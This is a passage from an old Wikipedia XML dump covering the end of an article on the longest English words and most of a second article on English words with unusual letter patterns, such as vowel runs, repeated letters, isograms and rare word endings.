Of course, the process need not stop there: prefixes like ''neo-'' and ''contra-'' can be added, and ''-istically'' can be used in place of ''-ism''. The words so created are increasingly more contrived, however, and given that there is essentially no limit to their length (unless artificial constraints are introduced, such as not using any prefix more than once), it is dubious whether any of them can lay a claim to being the &quot;longest&quot; word.

Constructing long words in [[agglutinative language]]s for humorous effect is a practice as old as the languages themselves. In his play ''[[Assemblywomen]]'', the [[ancient Greece|ancient Greek]] comedic poet [[Aristophanes]] created [[wiktionary:Lopadotemachoselachogaleokranioleipsanodrimhypotrimmatosilphioparaomelitokatakechymenokichlepikossyphophattoperisteralektryonoptekephalliokigklopeleiolagoiosiraiobaphetraganopterygon|a word of 183 letters describing a dish]] by stringing together its ingredients.

[[Henry Carey]]'s farce ''[[Chrononhotonthologos]]'' ([[1743]]) holds the opening line: &quot;Aldiborontiphoscophornio! Where left you Chrononhotonthologos?&quot;

==Technical terms ==
A number of scientific naming schemes can be used to generate arbitrarily long words.

''Gammaracanthuskytodermogammarus loricatobaicalensis'' is possibly the longest [[binomial name]], which stands for a kind of [[amphipod]].

[[John Horton Conway]] and [[Landon Curt Noll]] developed an open-ended system for naming powers of 10, in which ''one sexmilliaquingentsexagintillion'', coming from the Latin name for 6560, is the name for 10&lt;sup&gt;3(6560+1)&lt;/sup&gt; = 10&lt;sup&gt;19683&lt;/sup&gt;.

Names of chemical compounds can be extremely long if written as one word, which is sometimes done. An example of this is '''[[Neosalvarsan|sodiummetadiaminoparadioxyarsenobenzoemethylenesulphoxylate]]''', an arsenic-containing drug. There are also other chemical naming systems, using numbers instead of &quot;meta&quot;, &quot;para&quot; etc. as descriptive dividers, breaking up the name, which then no longer can be considered a single long word.

The [[IUPAC nomenclature]] for [[organic chemical compound]]s is open-ended, giving rise to such words as ''[[Methionylthreonylthreonyl...isoleucine]]'' (189,819 letters), ''[[Methionylalanylthreonyl...leucine]]'' (64,060 letters), ''[[Methionylglutaminyl...serine]]'' (1913 letters), and ''[[Acetylseryltyrosylserylisol...serine]]'' (1185 letters).

==Place names==
There is some debate as to whether or not a place name is a legitimate word. Without entering that debate, the longest officially recognized place name in an English-speaking country is
'''[[Taumatawhakatang&amp;shy;ihangakoauauot&amp;shy;amateaturipukaka&amp;shy;pikimaunga&amp;shy;horonuku&amp;shy;pokaiwhenuak&amp;shy;itanatahu]]''' (85 letters) which is a hill in New Zealand.

The longest place name in the United States (45 letters) is '''[[Chargoggagoggmanchauggagoggchaubunagungamaugg|Chargoggagogg&amp;shy;manchauggagogg&amp;shy;chaubunagungamaugg]]''', a lake in [[Massachusetts]]. The longest hyphenated names in the U.S. are '''[[Winchester-on-the-Severn]]''', a town in [[Maryland]], and '''[[Washington-on-the-Brazos]]''', a notable place in [[Texas]] history.

[[Image:Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch station sign (cropped version 1).jpg|thumb|right|The station sign at [[Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch|Llanfairpwllgwyngyllgogerychwyrn- drobwllllantysiliogogogoch]] in North [[Wales]]]]
The 58 character  name '''[[Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch|Llanfair&amp;shy;pwllgwyngyll&amp;shy;gogerychwyrndrobwll&amp;shy;llantysiliogogogoch]]''' is the famous name of a town in [[Anglesey]] in the [[United Kingdom]].  This place name is actually 51 letters long, as certain character groups in [[Welsh language|Welsh]] are considered as one letter, for instance ll, ng and ch. It is generally agreed, however, that this invented name, adopted in the mid-[[19th century]], was contrived solely to be the longest name of any town in Britain. The official name of the place is [[Llanfair PG|Llanfairpwllgwyngyll]], commonly abbreviated to &quot;Llanfairpwll&quot; or the somewhat jocular &quot;Llanfair PG&quot;. The longest station name in the UK, at 68 letters, is also in Wales: '''[[Gorsafawddacha'idraigodanheddogleddollônpenrhynareurdraethceredigion]]''' was specifically contrived to &quot;beat&quot; Llanfairpwllgwyngyll.

In [[Ireland]], the longest English placename at 22 letters is [[Muckanaghederdauhaulia]] (from the [[Irish language]], ''Muiceanach idir dhá sháile'', meaning pig-marsh between two saltwater inlets) in [[County Galway]]. If this is disallowed for being derived from Irish, or not a town, the longest at 19 letters is [[Newtownmountkennedy]] in [[County Wicklow]].

It is questionable whether any of the above (with the exception of Newtownmountkennedy) are properly considered English words, being derived from [[Māori language|Māori]], [[Nipmuck]], Welsh and Irish words respectively, or being a conjunction of individual English words.

{{See also|List of short place names}}

==Jokes==
A popular joke answer to the &quot;longest word&quot; question is the word '''smiles''', credited as the longest word because there is a ''[[mile]]'' between each ''s''.
Of course, by this reckoning the word '''beleaguered''', which contains a ''[[league (unit)|league]]'', is even longer.

A popular [[playground]] joke in [[United Kingdom|Britain]] states that the longest word in the English language is [[Rubber band|elastic]] because it will always stretch.

According to some, the longest word is the &quot;word&quot; after the sentence &quot;And now, a word from our sponsors,&quot; because in radio [[advertisements]], this phrase is conventionally followed by a rapid string of explanation equivalent to [[fine print]] in paper ads.

Although only fourteen letters long, ''sesquipedalian'' deserves a mention. It is derived from a [[nonce word]] used by the [[Rome|Roman]] author [[Horace]], in his work &quot;[[Ars Poetica]]&quot; (The Art of Poetry). The quote is as follows: &quot;Proicit ampullas et sesquipedalia verba,&quot; which means, &quot;He throws aside his paint pots and his words that are a foot and a half long&quot;. The [[Oxford English dictionary]] lists ''sesquipedalianism'' (&quot;the practice of using words one and a half feet long&quot;), and further derivations can be created as described in the &quot;Constructions&quot; section above.

==Morphemes==
A [[morpheme]] is the smallest part of a word that retains an individual significance.

For example, the word 'antidisestablishmentarianism' can be broken down into the following morphemes:  anti/dis/establish/ment/ari/an/ism  (7 morphemes).

The morphemes in this word that are perhaps less obvious in their individual meanings are: 
* &quot;ari&quot; (makes the antidisestablishment an adjective)
* &quot;an&quot; (an individual who subscribes to antidisestablishmentary views)

==See also==
* [[English language]]
* [[One-letter English words]]
* [[Two-letter English words]]
* [[List of the longest English words with one syllable]]

==References==
*Sesquipedalian. ''The Compact Edition of the Oxford English Dictionary'' (1971)
*[http://members.aol.com/gulfhigh2/words8.html Typewriter Words]
*[http://rinkworks.com/words/oddities.shtml Fun With Words: Word Oddities]

[[Category:Lists of English words]]
[[Category:Words|Longest word in English]]
[[category: Long words|*]]
[[de:Längste Wörter in der deutschen Sprache]]
[[eo:Rindfleischetikettierungsüberwachungsaufgabenübertragungsgesetz]]
[[fr:Mots les plus longs en français]]
[[ko:긴 한국어 낱말]]
[[la:Longissima Latina verba]]
[[sl:Najdaljša slovenska beseda]]</text>
    </revision>
  </page>
  <page>
    <title>English words with uncommon properties</title>
    <id>9468</id>
    <revision>
      <id>42058462</id>
      <timestamp>2006-03-03T14:47:05Z</timestamp>
      <contributor>
        <ip>131.111.200.200</ip>
      </contributor>
      <comment>/* Many consonants */</comment>
      <text xml:space="preserve">{{not verified}}

For the purposes of this article, any word which has appeared in a recognised general [[English language|English]] dictionary published in the 20th century or later is considered a candidate. For interest, some archaic words, non-standard words and proper names are also included.

The treatment of words of foreign origin can be problematic. The entire history of English involves influence and loanwords from other languages, and this process continues today (see [[Foreign language influences in English]]). However, there is a gray area between foreign words and words accepted as English.  Everyone would accept that the formerly foreign ''[[ballet]]'' ([[French language|French]]), ''[[ketchup]]'' ([[Malay language|Malay]]) and ''[[safari]]'' ([[Swahili language|Swahili]]) are now English words.  The status of words such as ''[[zeitgeist]]'', ''[[Weltanschauung]]'', and ''[[schadenfreude]]'' is less clear-cut.  The ''[[Oxford English Dictionary]]'' calls such words &quot;resident aliens&quot;. Generally, a word of foreign origin is legitimate here if it may be encountered in an English text without translation.

== Combinations of letters ==

===Many vowels===

''Euouae'' (a type of cadence in mediæval music) contains six [[vowel]] letters in a row. However this is often considered erroneous given the semantics of the word which demonstrate it to be [[elision]].

There is only one common word in English that has five vowels in a row: ''queueing'' (two vowel sounds). More unusual examples are ''cooeeing'' (making a &quot;cooee&quot; sound), ''miaoued'' or ''miaouing'' (from ''miaou'', to make a sound like a cat), and ''zoaeae'' ((a plural of ''zoaea''). However, this is a graphalogically incorrect variant owing to the simplification by Americanization of the [[diphthong]] [[æ]]). ''[[Zoea]]'' means a crustacean larva and is the term commonly known by [[scrabble]] enthusiasts). The final &quot;ae&quot; as transcribed above represents the same diphthong and, as such, purists may consider &quot;zoaeae&quot; to have only three vowels.
Proper names include ''Rousseauian'' (pertaining to the philosopher [[Rousseau]]), ''[[Aeaea]]'' or ''Aiaia'' (a location in Greek mythology), and the related adjectives ''Aeaean''/''Aiaian''. 

The list of common words with four vowels in a row is fairly short, comprising ''[[aqueous]]'', ''[[Hawaiian]]'', ''obsequious'', ''[[onomatopoeia]]'', ''[[pharmacopoeia]]'', ''queue'' (and derivatives ''[[queue]]d'' and ''queues''), and ''[[sequoia]]''.

Examples of words consisting entirely of vowels, including proper names and some words already mentioned, are: ''a'' (the indefinite article), ''[[lava|aa]]'' (a type of lava, of Hawaiian origin), ''ae'' (a [[Scots language|Scots]] adjective form of &quot;one&quot;), ''[[ai (animal)|ai]]'' (the three-toed sloth), ''[[aia]]'' (a Brazilian bird), ''[[Aiea]]'' (a town in Hawaii), ''[[Aeaea]]'' or ''Aiaia'' (a location in Greek mythology), ''au'' (French for &quot;to&quot; or &quot;with&quot;, encountered in English in compounds such as ''[[au pair]]'' and ''[[au fait]]''), ''[[Enki|Ea]]'' (a Babylonian god), ''euouae'' (a type of cadence in mediaeval music), ''euoi'' (a Greek exclamation of joy), ''eau'' (French for &quot;water&quot;, encountered in English in compounds such as ''eau de cologne''), ''I'' (first person pronoun), ''Iao'' (a Polynesian god), ''[[I'i]]'' (a figure in Polynesian mythology), ''[[Io (mythology)|Io]]'' (a figure in Greek mythology, also a moon of Jupiter), ''oi'' (an impolite exclamation used to gain someone's attention), and ''oo'' (a Hawaiian bird). Exclamations such as ''oooo'', ''aaaa'' and ''eeee'' are not normally considered legitimate words.

The shortest word containing the five regular vowels is ''[[eunoia]]'' at six letters, followed by ''[[sequoia]]'' (and a variety of rarer words such as ''[[Aeonium]]'', ''eulogia'', ''miaoued'') at seven. There are many words that feature all five vowels in alphabetical order, the commonest being ''[[Wiktionary:abstemious|abstemious]]'', ''adventitious'', ''[[Wiktionary:facetious|facetious]]'', and ''sacreligious''. One of the shortest, at eight letters, is ''[[wiktionary:caesious|caesious]]''.  Considering ''y'' as a vowel, the [[suffix]] ''[[Wiktionary:-ly|-ly]]'' can be added to a number of these words; thus the shortest word containing six unique vowels in alphabetical order is ''[[Wiktionary:facetiously|facetiously]]'' (11 letters). 

''Subcontinental'', ''uncomplimentary'' and ''unnoticeable'' are common words having the five vowels in reverse order. One of the shortest such words, at eight letters, is ''[[Muroidea]]'', a taxonomical grouping of rodents.

Some words not already mentioned that have a high proportion of vowels, including some proper names, are as follows. 6 letters, 5 vowels: ''[[Euboea]]'' (a Greek island), ''[[Aeolia]]'' (a region now in Turkey), ''ooecia'' (plural of ''ooecium'', part of the reproductive system of some primitive animals); 8 letters, 6 vowels: ''aboideau'' or ''aboiteau'' (a sluice gate), ''epopoeia'' (variant of ''epopee'', an epic poem), ''quiaquia'' (a type of fish); 9 letters, 7 vowels: ''[[Aizoaceae]]'' (a plant family), ''[[Aloeaceae]]'' (a plant family); 11 letters, 8 vowels: ''Aecidiaceae'' (a plant family), ''[[Ouagadougou]]'' (capital of Burkina Faso), ''[[Paeoniaceae]]'' (a plant family), ''[[Outaouais]]'' (a region of western Quebec); 9 letters, 7 vowels.

===Many consonants===

The longest word with only one vowel is ''strengths'' (9 letters), packing six consonant sounds into a single syllable.  The words ''[[Wiktionary:psychorhythm|psychorhythm]]s'' (13), ''[[polyrhythm]]s'' (11) and ''[[Wiktionary:rhythmlessly|rhythmlessly]]'' (12) are longer, but each clearly uses the letter ''y'' as a vowel. There are also a variety of onomatopoeic words, such as the nine-letter ''tsktsking'' (making a &quot;tsktsk&quot; sound), which appears in Chambers Dictionary. Eight-letter words with just one vowel are also fairly rare &amp;ndash; as well as ''strength'' itself, some examples are ''schmaltz'', ''schnapps'' and ''twelfths''.

Candidates for words with seven consonants in a row are ''Twelfthstreet'' (normally two words but sometimes written as one, as in a song title; ''eighthstreet'' is feasible by analogy), and ''Hirschsprung'', as in ''[[Hirschsprung's disease]]'' (though this is after a Danish surname).

The place-name ''[[Knightsbridge]]'' has six consonants in a row (with four [[consonant]] sounds), as do the compound words ''[[Catch phrase|catchphrase]]'', ''[[Wiktionary:latchstring|latchstring]]'', ''sightscreen'', ''watchspring'' and ''watchstrap'', and the somewhat more obscure ''borschts'' (plural of ''[[borscht]]'', a type of soup from Eastern Europe), and the [[German language|German]]-derived ''[[festschrift]]'' (a collection of writings honouring a noted academic), ''[[Eschscholzia]]'' (a plant genus) and ''[[bergschrund]]'' (a glacier crevasse).

Apart from words already mentioned (and their plurals), long words with just two, three, and four vowels include ''Christchurch'', ''spendthrifts'', ''stretchmarks'' (2 vowels, 12 letters); ''farthingsworths'', ''shillingsworths'', ''strengthfulness'' (3, 15); and ''handcraftsmanship'', ''splanchnemphraxis'' (4, 17). Exclamations such as ''mmmmm'' and ''grrrrrrrr'' are not normally considered legitimate words.

===Alternating vowels and consonants===

The superlatively long word ''[[honorificabilitudinitatibus]]'' (27 letters) alternates consonants and vowels, as do the slightly more prosaic medical terms ''hepatoperitonitis'' and ''mesobilirubinogen'' (both 17 letters). The longest such words that are reasonably well known may be ''overimaginative'', ''parasitological'' and ''verisimilitudes'' (all 15 letters).

The longest alternating words beginning with a vowel are possibly the 16-letter ''adenolipomatosis'' (a glandular condition), ''aluminosilicates'' (a class of chemical compounds containing aluminium and silicon) and ''anatomicomedical'' (relating to anatomy and medicine). 

''Theopneustia'' (an obscure word for Christian divine inspiration) alternates pairs of vowels and consonants.

=== Repeated letters ===
A number of English words have three of the same letter in sequence, but almost all are constructions involving a suffix, and could arguably be hyphenated or, in some cases, written as two words. They include ''brasssmith'', ''headmistressship'', ''wallless'' (lacking walls), and ''bulllike'' (like a bull).

Other candidates are the archaic ''agreeeth'' (third person singular present tense of the verb to agree), and ''tweeer'' (comparative adjective of the qualifier ''twee'' meaning infantilely kitsch). There are also many possessives ending in ''-ss's'' (e.g. ''actress's'').

Place-names include ''[[Rossshire]]'' and ''[[Invernessshire]]'', both in Scotland, UK (though both of these counties are usually hyphenated in official documentation), and ''[[Kaaawa]]'' in {{Unicode|Hawaiʻi}} (although this is a common misspelling of ''{{Unicode|Kaʻaʻawa}}'' in [[Hawaiian]], the {{Unicode|ʻokina}} being a [[glottal stop]]). The famous Welsh placename ''[[Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch]]'' contains the letter ''l'' four times in a row, but the ''llll'' is considered by some to be the single Welsh [[Digraph (orthography)|digraph]] ''ll'' twice, rather than the English ''l'' four times

Constructions such as ''zzzzzz'' (sound of a person snoring, representing sleep), ''shhhhhh'' (quiet!), and ''aaaaargh'' (cry of distress) are not normally recognised as legitimate words.

''[[Bookkeeper]]'' has three consecutive doubled letters (some also allow ''subbookkeeper'' which has four).

Words in which no letter is used more than once are called ''isograms'' (though its use in this sense is [[slang]] restricted to those who enjoy recreational linguistics, and not commonly found in dictionaries). ''Uncopyrightable'', with fifteen letters, is the longest common isogram in English (some also allow ''uncopyrightables''). ''Dermatoglyphics'' shares the distinction but is a less well-known word; ''subdermatoglyphic'' is two letters longer but even more obscure &amp;mdash; it has only one report of alleged live use (an article in ''Annals of Dermatology''), and supposedly means &quot;of or pertaining to the patterns on the lower [[skin]] layers&quot;. The words ''blepharoconjunctivitis'' and ''pneumoventriculography'' (as well as several others) contain 16 of the 26 letters of the alphabet, though they are not isograms as some letters are repeated.

Long words with just two, three, four... distinct letters include ''booboo'', ''deeded'', ''muumuu'' (2 distinct letters, 6 letters in total); ''assesses'', ''referrer'' (3, 8); ''senselessness'' (4, 13); ''defenselessness'' (6, 15); ''disinterestedness'' (7, 17); and ''institutionalisation'' (8, 20).

The following table lists words that repeat the given letter many times. The number of repetitions is shown in brackets. If the word with the most repetitions is dubious (for example, it is hyphenated, arguably should be hyphenated, is a proper name, or seems artificial) then further candidates with fewer repetitions are offered. Where there are many candidate words with the same number of repetitions only the shortest or commonest (judged subjectively) is listed.

{| cellspacing=&quot;6&quot;
! width=5% valign=&quot;top&quot; align=&quot;left&quot; style=&quot;font-weight:normal&quot;|'''''a'''''
! width=95% valign=&quot;top&quot; align=&quot;left&quot; style=&quot;font-weight:normal&quot;|''taramasalata'' (6) &amp;ndash; a fish roe paste
|- valign=&quot;top&quot;
|'''''b'''''
|''bibble-babble'' (6) &amp;ndash; babble &lt;br&gt;''flibbertigibbet'' (4) &amp;ndash; a silly woman
|- valign=&quot;top&quot;
|'''''c'''''
|''pneumonoultramicroscopicsilicovolcanoconiosis'' (6) &amp;ndash; a famously long word for a respiratory disease&lt;br&gt;''micrococcic'' (5) &amp;ndash; relating to ''[[micrococcus]]'', a type of bacterium
|- valign=&quot;top&quot;
|'''''d'''''
|''dodecahemidodecahedron'' (5) &amp;ndash; a type of polyhedron (solid geometrical figure)  
|- valign=&quot;top&quot;
|'''''e'''''
|''[[ethylenediaminetetraacetate]]'' (7) &amp;ndash; a chemical compound, used as a drug&lt;br&gt;''degenerescence'' (6) &amp;ndash; decay   
|- valign=&quot;top&quot;
|'''''f'''''
|''riffraff'' (4) &amp;ndash; undesirable people
|- valign=&quot;top&quot;
|'''''g'''''
|''Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch'' (7) &amp;ndash; a famously long Welsh placename&lt;br&gt;''hugger-muggering'' (5) &amp;ndash; acting secretly&lt;br&gt;''giggling'' (4) &amp;ndash; laughing in a silly manner
|- valign=&quot;top&quot;
|'''''h'''''
|''High-Churchmanship'' (5) &amp;ndash; the state of being a High-Churchman, that is, supporting the High Church (a faction of the Anglican church)&lt;br&gt;''[[Rhamphorhynchus]]'' (4) &amp;ndash; a genus of dinosaurs
|- valign=&quot;top&quot;
|'''''i'''''
|''floccinaucinihilipilification'' (9) &amp;ndash; a famously long word meaning &quot;the action of estimating as worthless&quot;&lt;br&gt;''indivisibilities'' (7) &amp;ndash; a supposed plural of ''indivisibility''&lt;br&gt;''indivisibility'' (6) &amp;ndash; the state of being indivisible
|- valign=&quot;top&quot;
|'''''j'''''
|''jejunojejunostomy'' (4) &amp;ndash; a surgical procedure carried out on the intestine
|- valign=&quot;top&quot;
|'''''k'''''
|''knickknack'' (4) &amp;ndash; a small article of little value
|- valign=&quot;top&quot;
|'''''l'''''
|''[[Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch]]'' (11) &amp;ndash; a famously long Welsh placename&lt;br&gt;''[[Llullaillaco]]'' (6) &amp;ndash; a mountain in the Andes&lt;br&gt;''skillfully'' (4) &amp;ndash; with skill
|- valign=&quot;top&quot;
|'''''m'''''
|''[[mammogram]]'' (4) &amp;ndash; a breast X-ray
|- valign=&quot;top&quot;
|'''''n'''''
|''nonannouncement'' (6) &amp;ndash; absence of an announcement&lt;br&gt;''inconveniencing'' (5) &amp;ndash; causing difficulty for
|- valign=&quot;top&quot;
|'''''o'''''
|''pneumonoultramicroscopicsilicovolcanoconiosis'' (9) &amp;ndash; a famously long word for a respiratory disease&lt;br&gt;''[[Chrononhotonthologos]]'' (7)  &amp;ndash; the name of a play by English writer Henry Carey&lt;br&gt;''odontonosology'' (6) &amp;ndash; dentistry
|- valign=&quot;top&quot;
|'''''p'''''
|''whippersnapper'' (4) &amp;ndash; a young, impertinent person
|- valign=&quot;top&quot;
|'''''q'''''
|''[[Albuquerque]]'' (2) &amp;ndash; a city in New Mexico&lt;br&gt;''quinquennium'' (2) &amp;ndash; a period of five years&lt;br&gt;''[[riqq]]'' (2) &amp;ndash; a type of Egyptian tambourine
|- valign=&quot;top&quot;
|'''''r'''''
|''strawberry-raspberry'' (6) &amp;ndash; a Japanese plant&lt;br&gt;''refrigerator'' (4) &amp;ndash; an appliance for keeping food cool
|- valign=&quot;top&quot;
|'''''s'''''
|''possessionlessness'' (8) &amp;ndash; the state of being without possessions&lt;br&gt;''senselessness'' (6) &amp;ndash; lack of sense 
|- valign=&quot;top&quot;
|'''''t'''''
|''tittle-tattle'' (6) &amp;ndash; gossip&lt;br&gt;''anticonstitutionalist'' (5) &amp;ndash; someone who opposes a constitution
|- valign=&quot;top&quot;
|'''''u'''''
|''{{Unicode|humuhumunukunukuapuaʻa}}'' (9) &amp;ndash; a Hawaiian fish&lt;br&gt;''unscrupulous'' (4) &amp;ndash; lacking morals
|- valign=&quot;top&quot;
|'''''v'''''
|''ovoviviparous'' (3) &amp;ndash; producing eggs that hatch within the body
|- valign=&quot;top&quot;
|'''''w'''''
|''wow-wow'' (4) &amp;ndash; a type of gibbon&lt;br&gt;''powwow'' (3)  &amp;ndash; a Native American gathering&lt;br&gt;''[[swallowwort]]'' (3)  &amp;ndash; any of several plants
|- valign=&quot;top&quot;
|'''''x'''''
|''[[hexahydroxycyclohexane]]'' (3) &amp;ndash; a chemical compound, part of the vitamin B complex&lt;br&gt;''executrix'' (2) &amp;ndash; a female executor
|- valign=&quot;top&quot;
|'''''y'''''
|''[[polysyndactyly]]'' (4) &amp;ndash; webbing of the hands or feet
|- valign=&quot;top&quot;
|'''''z'''''
|''razzmatazz'' (4) &amp;ndash; showy spectacle
|}

Ignoring the 20-letter play title ''[[Chrononhotonthologos]]'', the longest words containing only one of the five regular vowels (overlooking y) may be the 17-letter ''proctocolonoscopy'' and ''synchrocyclotrons''. A candidate for longest word containing only one type of consonant is the 10-letter ''coucicouci'', a word apparently included in at least one version of ''Roget's Thesaurus'' to mean &quot;imperfect&quot;, but otherwise almost unknown. 9-letter words are ''[[allolalia]]'' (a type of speech disturbance) and ''Coccaceae'' (an obsolete name for a family of bacteria).

===Unusual word endings===

''[[Wiktionary:dreamt|Dreamt]]'' and its derivatives are the only common English words that end in ''mt''. In American English, which prefers ''dreamed'', there are none. Derivatives include ''undreamt'' (typically used only in the phrase &quot;undreamt of&quot;), ''daydreamt'', and the rarer ''outdreamt'' and ''redreamt''. Other ''-mt'' words include the [[Scots language|Scots]] word ''fremt'' (usually ''fremd'' or ''fremmit''[http://www.dsl.ac.uk/dsl/getent4.php?query=fremd&amp;sset=1&amp;fset=20&amp;printset=20&amp;searchtype=full&amp;dregion=form&amp;dtext=both]) meaning &quot;foreign&quot; or &quot;estranged&quot; and, familiar but of foreign origin, ''[[Klimt]]'', the Austrian painter.

Despite the assertions of a well-known puzzle, modern English does not have three common words ending in ''-gry''.  ''[[Angry]]'' and ''[[hungry]]'' are the only ones. There are, however, a number of rare and obsolete words; see [[Gry]] for a further discussion.

''-mt'' and ''-gry'' are possibly the best-known unusual word endings, but there are many others exhibited by only one or two everyday words. Some examples, excluding derivative words, are ''-ln'' (''kiln'', ''Lincoln''), ''-bt'' (''doubt'', ''debt''), ''-igy'' (''effigy'', ''prodigy''), ''-nen'' (''linen''), and ''cay'' (''decay'', ''Biscay'').

===Unusual word beginnings===
Words beginning with a double letter are generally very rare. The most common combination is probably ''oo-'' (''oodles'', ''oolong'', ''oomph'', ''oops'', ''ooze'', and a number of less familiar examples, mostly technical words incorporating the prefix ''oo-'', meaning &quot;egg&quot;), followed by ''aa-'' (familiar examples being ''aardvark'' and ''Aaron''), and ''ee-'' (''eel'', ''eerie'', ''eek'', ''eesome'' (attractive)).

Otherwise such words are unlikely to be considered part of the English vocabulary, and almost entirely of foreign origin. Some examples are ''Ccoya'' (Inca queen), ''ʻiʻiwi'' (a Hawaiian bird), ''llama'', ''llano'' (a grassy plain), and ''llanero'' (someone who lives on a ''llano''). There are, however, numerous Welsh placenames beginning ''Ll-'' (e.g. ''[[Llandudno]]'', ''[[Llanberis]]'') &amp;ndash; plus the familiar personal names ''Llewellyn'' and ''Lloyd'' &amp;ndash; and a smaller number beginning ''Ff-'' (e.g. ''[[Ffestiniog]]'', ''[[Ffrith]]''). A number of Japanese names begin ''Ii-'' when transliterated into the Roman alphabet.

The words ''euouae'', ''Aeaea'' and ''euoi'', mentioned earlier under &quot;Many vowels&quot;, start with six, five and four vowels respectively. There are very few other words starting with four vowels. Some proper name examples are: ''[[El Aaiún]]'' (a city in Western Sahara), 
''Aeaetes'' (a character in Greek mythology), ''ʻAiea'' (a town in Hawaiʻi), ''Aouad'' (personal name), ''Aouita'' (personal name), ''Euaechme'' (a character in Greek mythology), and ''Ueueteotl'' (an Aztec god).

The list of words starting with three vowels is rather longer, but most are obscure. Some of the more familiar examples are: ''[[aeolian]]'' (relating to the wind), ''[[aeon]]'' (an age), 
''aoudad'' (a sheep-like animal of northern Africa), ''eau'' (French for &quot;water&quot;, encountered in English in compounds such as ''[[eau de Cologne]]''), ''Iain'' (personal name), ''oeuvre'' (an artist's body of work), ''[[Ouagadougou]]'' (capital of the African country Burkina Faso), and ''[[ouija]]'' (a board used by mediums to reveal spirit messages). ''Aeolian'' and ''aeon'' are British spellings.

There are similarly few English words beginning with a large number of consonants. ''Tsktsks'' appears in [[Collins Dictionary]]. Also, ''cwrth'' and ''cwtch'' (of Welsh origin) are five consonants, although the &quot;w&quot; functions as a vowel. There is also a surname ''Schkrohowsky'' of Russian origin.

There are a reasonable number of words beginning with four consonants. The commonest beginnings are ''phth-'' (''phthalein'', ''phthisis'', ''Phthirus'') and ''sch-'' (mostly words of German/Yiddish origin such as ''schlep'', ''schmaltz'', ''schnapps''). Other examples are ''chthonic'', ''pschent'', ''sphragide'' and ''tshwala''.

A partial list of words with other unusual initial letter combinations follows. Unsurprisingly, many are of foreign origin: ''[[bdellium]]'', ''[[bwana]]'', ''[[Wiktionary:cnemis|cnemis]]'', ''ctenoid'' (comb-like), ''[[czar]]'', ''dghaisa'' (a Maltese rowing boat), ''[[dvandva]]'', ''dziggetai'' (a Mongolian wild ass), ''[[fjord]]'', ''Gbari'' (an African language), ''[[gmelina arborea|gmelina]]'', ''[[jnana]]'', ''kgotla'' (in southern Africa, a meeting place), ''[[kshatriya]]'', ''[[Wiktionary:kvetch|kvetch]]'', ''[[mbaqanga]]'', ''[[mho]]'', ''[[mnemonic]]'', ''[[mridanga]]'', ''[[Mwera]]'' (an African language), ''mzungu'' (in East Africa, a white person), ''[[Ndebele]]'', ''[[ngaio]]'', ''[[oquassa]]'' (a type of North American trout), ''[[pfennig]]'', ''[[pneumonia]]'', ''[[ptarmigan]]'', ''pzazz'' (glamour), ''[[qawwali]]'', ''[[qintar]]'', ''[[qoph]]'', ''[[sforzando]]'', ''[[sfumato]]'', ''[[sjambok]]'', ''[[Wiktionary:svelte|svelte]]'', ''[[tmesis]]'', ''[[tsunami]]'', ''[[tzar]]'', ''vlei'' (in southern Africa, a seasonally flooded area), ''vroom'' (a revving sound), ''[[Xhosa]]'', ''[[xiphoid]]'', ''xoanan'' (a carved wooden icon), ''[[Yggdrasil]]'', ''[[ylem]]'', ''ynambu'' (a South American bird), ''[[yttrium]]'', ''[[zloty]]'', ''[[zwitterion]]''.

=== &quot;Q&quot; without &quot;U&quot; ===
''See main article:  [[List of English words containing a Q not followed by a U]].''

=== Other unusual spellings ===

Most people are aware that the letter ''y''  can serve as both a consonant and a vowel. ''w'' can also be an [[orthography|orthographic]] vowel, since ''how'' is pronounced /hau/ (with ''w'' representing the second half of the [[diphthong]].)

However, ''[[cwm]]'' (pronounced &quot;koom&quot;, defined as a steep-walled hollow on a hillside) is a rare case of a word using ''w'' to represent a [[Syllable nucleus|nucleus]] vowel, as is ''[[crwth]]'' (pronounced &quot;krooth&quot;, a type of stringed instrument). Both words are in [[Merriam-Webster]]'s Collegiate Dictionary. They derive from the [[Welsh language|Welsh]] use of ''w'' as a vowel. The word ''cwm'' is commonly applied to Welsh place names; [[cwm]]s of [[glacier|glacial]] origin are a common feature of Welsh geography. It is also used to describe features in the [[Himalaya]].

Both these examples may belong in 'Words of Foreign Origin', as they are actual words in the Welsh language which have been absorbed into English. See ''coombe'' as the south-west English equivalent of ''cwm''.

===Containing the letters a,b,c,d...===

''Boldface'' and ''feedback'' both contain all the letters from ''a'' to ''f'' (there are many such words, but these are the shortest at eight letters). There is probably no common English word that contains all letters ''a'' through ''g''. Feedbacking may be acceptable is some usage. ''Black-figured'' (referring to a type of pottery decoration) and ''double-refracting'' are hyphenated examples.

The longest word consisting entirely of letters from the first half of the alphabet (''a'' through ''m'') may be ''[[Hamamelidaceae]]'' (a plant family) at 14 letters. Long common words include ''fiddledeedee'' (12 letters), ''blackballed'' (11) and ''blackmailed'' (11).

''Soupspoons'' (10) consists entirely of letters from the second half of alphabet, as does the hyphenated ''topsy-turvy'' and a number of rarer 10-letter words such as ''nonsupport'' (failure to support), ''puttyroots'' (plural of ''[[puttyroot]]'', a species of orchid), and ''zoosporous'' (relating to a ''[[zoospore]]'', a type of fungal or algal spore).

===Letters in alphabetic order===

Words whose letters are in alphabetical order include the eight-letter ''[[Aegilops]]'' (a grass genus), and the seven-letter ''addeems'' (from the archaic verb ''addeem'', meaning to award), ''alloquy'' (an archaic or literary word for an address), ''beefily'' (in a beefy manner), ''billowy'' (like a wave or surge), ''[[dikkops]]'' (a South African bird) and ''gimmors'' (plural of ''gimmor'', an old-fashioned word for a mechanical contrivance). 

In reverse alphabetical order are the nine-letter ''spoonfeed'' and the eight-letter ''spoonfed'' and ''trollied''.

There are a number of words that contain a string of four consecutive letters of the alphabet. The commonest combination is ''rstu'', with most examples having the prefix ''under-'', ''over-'' or ''super-'' (e.g. ''understudy'', ''overstuff'', ''superstud''). Words with the combination ''mnop'' include ''cremnophobia'' (a fear of steep slopes), ''gymnopaedic'' (of birds, having unfeathered young), ''limnophilous'' (marsh-loving) and ''[[Prumnopitys]]'' (a genus of conifers). ''[[Chelmno]]'', a town in Poland, has the unusual combination ''lmno''.

===Palindromes===
